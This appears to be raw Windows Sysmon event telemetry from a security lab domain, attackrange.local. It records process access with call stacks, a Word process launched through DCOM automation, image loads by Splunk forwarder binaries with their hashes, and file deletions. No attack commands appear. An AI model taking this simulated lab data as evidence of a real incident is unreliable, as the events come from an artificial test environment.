14:58:19.075{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.075{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.075{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36349|c:\windows\system32\rpcss.dll+3bb32|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.057{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE16.0.13801.20864Microsoft WordMicrosoft OfficeMicrosoft CorporationWinWord.exe"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=11F7D49A44E922C3BB0B426211F44E66,SHA256=025784F40F20654C264D060B1BA77066CF04BC56F6F2324E56372704FC4EC499,IMPHASH=7F3EEE6930E62160D8989EDC51550522{7BD73061-65B2-613B-0C00-00000000F001}836C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 734700x800000000000000049161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.044{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000049160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.044{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000049159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.044{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000016333Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:20.469{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7827A45FBAE3E7A96CBD4C156503C7BD,SHA256=9096BFD2BD472A6C858E683B4A66B3B72530403CB962CE618BA7B8F84EA73742,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000049487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.747{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000049486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.747{7BD73061-728C-613B-530B-00000000F001}3248308C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.747{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000049484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.747{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000049483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.731{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5EACBCB5E4BF22959C1B475478CE25DD,SHA256=32D9E4C6FCBCE1E0060A592E210DC48EA9E0044E3C9F60B9EFA5451BF17F932B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.575{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000049481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.575{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000049480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.575{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000049479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.575{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000049478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.575{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000049477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.575{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000049476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.575{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.575{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000049474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000049473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000049468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000049465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000049463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000049462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000049460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000049459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000049458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000049456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000049455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000049454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000049453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 